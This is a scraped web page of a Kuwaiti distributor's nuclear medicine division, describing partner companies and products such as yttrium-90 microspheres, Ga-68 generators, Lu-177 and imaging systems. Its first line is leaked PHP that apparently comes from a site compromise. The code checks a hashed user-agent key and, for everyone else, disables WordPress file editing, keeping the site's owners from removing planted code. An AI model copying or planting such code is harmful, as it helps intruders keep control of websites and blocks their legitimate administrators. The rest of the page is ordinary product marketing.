if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Nuclear Medicine Solutions | Radiation Protection Equipments - Ashraf Nuclear Medicine Division
Phone: +965 22090750
P.O BOX 3555, SAFAT, 13036, KUWAIT


Nuclear Medicine involves application of radioactive substances in the diagnosis and treatment of various diseases.

ASHRAF Medical Division has a specialized ‘Nuclear Medicine Division’ to cater to the requirements of the doctors and hospitals that need products and services in this advanced medical specialty field.

Our aim is to bring the world’s best Nuclear Medicine solutions to Kuwait. So, we have teamed up with the leading companies across the globe. Some of the key tie-up and offerings that we have are as follows:

1. BTG plc, headquartered in London, UK:

BTG plc, is a growing international specialist healthcare company, its mission is to bring to market medical products that meet the needs of specialist physicians and their patients. BTG operate in three business areas: Interventional Medicine, Specialty Pharmaceuticals and Licensing. In everything they do, they are guided by their core values and their Code of Conduct.

One of their leading offerings, TheraSphere® (radioembolisation) is a low toxicity, targeted liver cancer therapy that consists of millions of tiny glass microspheres containing radioactive yttrium-90. The glass radioactive microspheres (a mean diameter of 20-30 micrometers – about a third of a width of a human hair) are delivered directly to the liver tumors.

TheraSphere® treatment is typically a procedure that does not require extensive hospitalization. It is well tolerated by patients, and its side effects are normally milder than with many other liver cancer treatments. Because the procedure is directed to the liver tumour, there is minimal impact to non-targeted tissue. After treatment, most TheraSphere® patients are eligible for further therapeutic options because the procedure does not block the vessels of the liver.

2. ITG, headquartered in Munich, Germany:

ITG, are shaping the future of Theranostics, which is a process of getting the correct therapy for the individual patient and at the correct time. ITG offer an unprecedented understanding in this radiopharmaceutical technology and innovative supply chain solutions.

ITG take pride in being recognized as THE PLATFORM in radioisotope research and development. This confidence strengthens their commitment to striving for excellence in the further development of innovative, integrated, highly effective next generation radioisotope solutions. ITG Endeavour to stick to this path – doing so, they are capable to master future challenges successfully.

ITG feel confident that our contribution to society and your health in particular marks a major step forward in changing our planet for the better. It is therefore their commitment to continuously bring most modern products to patients around the world and establish themselves as key driver of radionuclide theranostics.

Some of their leading products that we offer in Kuwait are:

A) ITG Ge-68/Ga-68 Generator:Advanced and unique generator technique…

This sophisticated itG Ge-68/Ga-68 Generator is setting new industry standards as for radionuclides in PET imaging. The advanced generator technique enables the on-site production of short lived radionuclide Ga-68. Based on its unique metal free design and its low acidic eluent (0.05 M HCI), the obtained chemical purity of Ga-68 can be used directly for efficient radiolabeling processes.

We feel confident that this highly attractive and most convenient itG Ge-68/Ga-68 Generator concept clearlyfacilitates your demand for highly effective Ga-68. Above all, we ensure an additional, beneficial amount of Ga-68 activity throughout the year.

B) Lutetium-177 n.c.a:

ITG is proud to have successfully developed and marketed the unique no-carrier-added form of Lu-177. This leading radioisotope proves significant superiority in terms of highest specific activity and radionuclidic purity.

GMP manufactured itG Lu-177 n.c.a. is setting new standards for theranostics. Contrary to alternative Lu-177production procedures on the market which irradiate Lu-176 in the first place and thereby accept massivecontamination with long-lived Lu-177m (T1/2: 160,1 d), ITG has developed a unique and extraordinary advanced production route irradiating Ytterbium-176 in order to obtain highest-quality Lu-177 n.c.a.

As a result of our sophisticated approach, itG Lu-177 n.c.a. offers highest specific activity and an unmatched radionuclide purity. There is absolutely zero contamination with long-lived isomer Lu-177m which clearlyconfronts you with a serious waste disposal problem.


Prostate-specific membrane antigen (PSMA) is a cell surface protein with high expression in prostate carcinoma (PCa) cells. Glu-NH-CO-NH-Lys-(Ahx)-[68Ga(HBED-CC)] (68Ga-PSMA) detects PCa relapses and metastases with high contrast by targeting the extracellular domain of PSMA.* First results suggest that this novel 68Ga labeled PSMA inhibitor is able to detect lesions much earlier even in patients with low PSA values. In addition, PSMA-targeted imaging shows a reduced background activity in healthy tissue.


ITG are proud to announce that they have entered into an exclusive licensing agreement for pharmaceutical development and commercialization of radiolabeled DOTA-conjugated somatostatin analogue DOTA-[Tyr3]-octreotide (DOTATOC known as Edotreotide) for human oncology therapeutic use.
Radiolabeled DOTATOC is a superior agent for safe and highly effective radionuclide therapy of somatostatinreceptor positive tumors which offers excellent pharmacokinetic properties and highest affinity to somatostatin receptor subtypes 2 and 5

E) ITG Quality Control Solution – Radio HPLC :

Fully-integrated HPLC system for research and clinical routine in radiotracer-/radiopharmaceutical analysis.
The itG Quality Control Solution, γ-spec Radio HPLC S 3710, is a ready-to-use system for n.c.a. Lu -177, Y- 90, Ga – 68 radiolabeled peptides setting industry standards in terms of functionality and usability (in accordance with Ph. Eur. Standards). With an integrated quaternary HPLC-pump, UV detector and latest Chromstarworkstation 7.0 software, the γ-spec S 3710 is first-in-class to offer full Radio-HPLC technology within this extraordinary compact system. The central unit provides a shielded column chamber which minimizes radiation exposure of personnel to an all-time low.

3. POLATOM, based in Warsaw, Poland:

Institute of Atomic Energy POLATOM. Radioisotope Centre is manufacturer and distributor of the isotopic goods applied in medicine, research and development, industry and environment protection. Activity of the company contributes to development of the nuclear medicine, biochemistry, radiochemistry, molecular biology and other branches, which apply radioactive isotopes.
POLATOM. Radioisotope Centre offers:

For Medicine –

  • Radiopharmaceuticals for therapy of thyroid and bone diseases;
  • Kits for technetium labeling used for diagnostics of: kidney, liver, biliary duct, spleen, brain, heart, lungs, bones and also for examinations in oncology;
  • Sealed radiation sources applied in intraocular tumors brachytherapy;
  • Accessories necessary in nuclear medicine centres activity;

For R&D, technology and environment protection:

  • Wide range of radiochemicals;
  • Sealed radiation sources for gamma radiography and industrial process control;
  • Standard solutions and sources for electronic measurement devices calibration.

POLATOM Spółka z o.o. has been certified for conformance with the following quality standards:
-Good Manufacturing Practice (GMP)
-PN-EN ISO 9001:2001
-WSK criteria (Internal Control System)

4. DILON, based in Virginia, USA:


Dilon Diagnostics® designs, manufactures and commercializes innovative medical imaging solutions worldwide based on cooperative research and development with the U.S. Department of Energy’s Thomas Jefferson National Accelerator Facility and leading medical universities. Dilon provides complete digital solutions in diagnostic and surgical imaging.

A) Diagnostic Imaging:

Dilon’s cornerstone product, the Dilon Molecular Imaging System, is a high-resolution, compact camera, and is available in two sizes.

This compact camera is ideal for imaging small body parts, such as the breast, thyroid, parathyroid and bone. The Dilon Molecular Imaging System has been optimized to perform Molecular Breast Imaging (MBI/BSGI) procedure that aids in the effective management of suspicious and difficult-to-interpret breast cases. The MBI procedure and its accessory for MBI guided breast biopsy has proven to detect cancers missed by Mammography and Ultrasound, while leading to fewer benign biopsies than MRI.

Dilon is the exclusive international distributor (most countries outside the U.S.) of Digirad’s lines of molecular imaging cameras including the ergo™, a large field-of-view general purpose imaging system, the Cardius® x.act, a triple-head cardiac dedicated SPECT imaging system with VCT Attenuation Correction, and the Cardius® XPO dedicated cardiac SPECT imaging systems line.

B) Surgical Imaging:

Dilon is the exclusive U.S. distributor of SurgicEye’s declipseSPECT, the world’s first intra-operative handheld 3D tumor imaging and navigation solution for radio-guided surgery. This intraoperative solution provides image viewing, localization and depth information, as well as the uptake level of radioactively labeled structures like tumors and sentinel lymph nodes.

5. LEMERPAX, headquartered in France:

Partner of the CEA since it was founded, the Company designs and produces radiation protection equipment designed for the medical world, research, industry and nuclear protection. With over 40 years of innovation, and supported by itsscientific college of international experts, it has become the world leader in innovation in its sectors of activity, exporting its technologies throughout the world.

LemerPax is very actively involved in the optimization of the protection of operators exposed to ionizing radiation.

Mutualisation around radioisotopes with Isotop4Life® ; Molecular imaging development in Nantes with QuantiCardi Project ; EPIJET® ; new Cathpax® CRM ; Environmental approach beePAX®, new products in nuclear medicine range : easyPET®, easySQUEEZE®, easyBOX®, easyDROP® ;

6. NICESOFT, based in France:

Since 1998, NICESOFT has been developing innovative and creative solutions for Medical Imaging professionals, combining cloud computing technology and a high specialization in Nuclear Medicine. The complementary and fully-integrated range of products is composed entirely of zero footprint web-based solutions: – Venus RIS is a Radiology Information System with specific Nuclear Medicine modules (hot lab management). – Venus Explorer is a DICOM viewer with all standard processing and visualization features. – Venus Archive is a PACS. Store all your medical data and access it from anywhere. – Venus Share is a web portal that enables referring physicians and/or patients to access their medical records through a secured HTTPS connection.

7. MIMSOFTWARE, based in Ohio, USA:

MIM Software Inc. provides practical imaging solutions in the fields of radiation oncology, radiology, nuclear medicine, neuroimaging, and cardiac imaging. MIM offers solutions for PC and Mac® workstations, as well as mobile iOS and cloud-based platforms. MIM is a privately held company that sells its products globally to imaging centers, hospitals, specialty clinics, research organizations, and pharmaceutical companies.

Subscribe Newsletter




P O BOX: 3555,


Phone: +965 22090750

Fax: +965 22090740, 22090760

Site Designed and Developed by Gr8 Services